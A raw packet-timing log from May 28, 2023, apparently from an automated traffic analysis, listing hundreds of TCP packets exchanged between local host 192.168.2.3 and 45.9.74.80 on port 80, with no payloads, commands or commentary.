May 28, 2023 10:42:44.064157963 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.064204931 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.064249992 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.064254045 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.064318895 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.064369917 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.064403057 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.064413071 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.064460993 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.064460993 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.064511061 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.064551115 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.064555883 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.064603090 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.064646959 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.064647913 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.064693928 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.064734936 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.064740896 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.064788103 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.064827919 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.064834118 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.064887047 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.064929008 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.064932108 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.064980030 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.065018892 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.065025091 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.065072060 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.065115929 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.068984985 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.069051981 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.069108963 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.070055008 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.070103884 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.073484898 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.073525906 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.073600054 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.073638916 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.073678017 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.073700905 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.073700905 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.073717117 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.073756933 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.073796034 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.073833942 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.073846102 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.073874950 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.073915958 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.073918104 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.073957920 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.074003935 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.075519085 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.075577974 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.075618029 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.075639009 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.075659037 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.075700045 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.076378107 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.076420069 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.076458931 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.076478958 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.076497078 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.076538086 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.076591969 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.078706980 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.078747988 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.078787088 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.078799963 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.078829050 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.078829050 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.078965902 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.079005003 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.079045057 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.079047918 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.079085112 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.079092026 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.079125881 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.079164982 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.079164982 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.079206944 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.079246044 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.079272985 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.079287052 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.079329967 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.079329967 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.081643105 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.089638948 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.089685917 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.089730024 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.089771986 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.089817047 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.089862108 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.089910030 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.089924097 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.089956045 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.089973927 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.090003967 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.090049028 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.090050936 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.090101004 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.090162992 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.090169907 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.090212107 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.090256929 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.090257883 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.090307951 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.090357065 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.090369940 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.090403080 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.090447903 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.090449095 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.090497971 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.090543985 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.090583086 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.090591908 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.090639114 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.090642929 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.090684891 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.090729952 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.090732098 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.090778112 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.090820074 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.090825081 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.090872049 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.090915918 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.090958118 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.090964079 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.091010094 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.091049910 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.091056108 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.091104031 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.091142893 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.091150045 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.091196060 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.091238022 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.091243982 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.091289043 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.091331959 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.091337919 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.091384888 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.091429949 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.091432095 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.091475010 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.091516018 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.091521025 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.091567039 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.091613054 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.091615915 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.091658115 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.091698885 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.091703892 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.091749907 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.091794968 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.091798067 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.091840982 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.091880083 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.091886044 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.091933012 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.091976881 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.091979027 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.092025042 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.092066050 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.092070103 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.092116117 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.092159986 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.092205048 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.092250109 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.092252970 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.092252970 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.092307091 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.092327118 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.092376947 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.092401981 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.092423916 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.092468977 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.092514992 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.092515945 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.092562914 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.092603922 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.092607021 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.092654943 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.092700005 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.092706919 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.092745066 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.092786074 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.092789888 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.092837095 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.093607903 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.093652010 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.093658924 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.093697071 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.093744040 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.093759060 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.094568968 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.098464966 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.098512888 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.098557949 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.098603010 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.098611116 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.098649025 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.098649025 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.098695040 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.098740101 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.098783970 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.098784924 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.098831892 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.098831892 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.098877907 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.098922968 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.098963976 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.098967075 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.099010944 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.100086927 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.100131989 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.100177050 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.100208998 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.100230932 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.100379944 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.100990057 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.101037025 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.101082087 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.101083040 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.101129055 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.101175070 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.101213932 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.101219893 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.101269007 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.101313114 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.101315022 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.101432085 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.103399038 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.103439093 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.103746891 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.103812933 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.103851080 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.103888988 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.103921890 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.103959084 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.103996992 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.104001045 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.104147911 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.104161024 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.104187012 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.104227066 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.104279041 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.104319096 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.104326010 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.104449034 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.106138945 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.106178045 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.106216908 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.106267929 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.106756926 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.117675066 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.117741108 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.117789984 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.117835045 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.117924929 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.117955923 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.117973089 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.118021011 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.118021965 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.118068933 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.118110895 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.118117094 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.118164062 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.118206024 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.118208885 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.118257046 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.118303061 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.118319035 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.118366957 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.118410110 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.118415117 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.118464947 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.118509054 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.118513107 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.118561983 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.118601084 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.118609905 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.118658066 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.118697882 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.118706942 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.118753910 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.118801117 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.118807077 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.118849993 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.118890047 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.118895054 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.118942976 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.118983984 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.118988991 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.119035959 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.119072914 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.119082928 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.119131088 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.119168043 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.119178057 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.119225025 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.119266033 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.119271040 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.119318962 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.119355917 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.119369030 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.119416952 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.119456053 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.119465113 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.119512081 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.119554043 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.119559050 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.119606972 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.119646072 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.119656086 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.119704008 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.119740963 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.119750977 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.119796038 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.119839907 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.119843006 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.119890928 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.119930029 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.119939089 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.119987965 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.120027065 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.120033979 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.120083094 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.120121002 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.120130062 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.120177031 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.120213985 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.120223999 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.120299101 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.120341063 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.120347023 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.120394945 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.120435953 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.120441914 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.120485067 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.120490074 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.120538950 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.120577097 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.120588064 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.120634079 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.120680094 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.120724916 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.120764017 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.120773077 CEST	80	49704	45.9.74.80	192.168.2.3
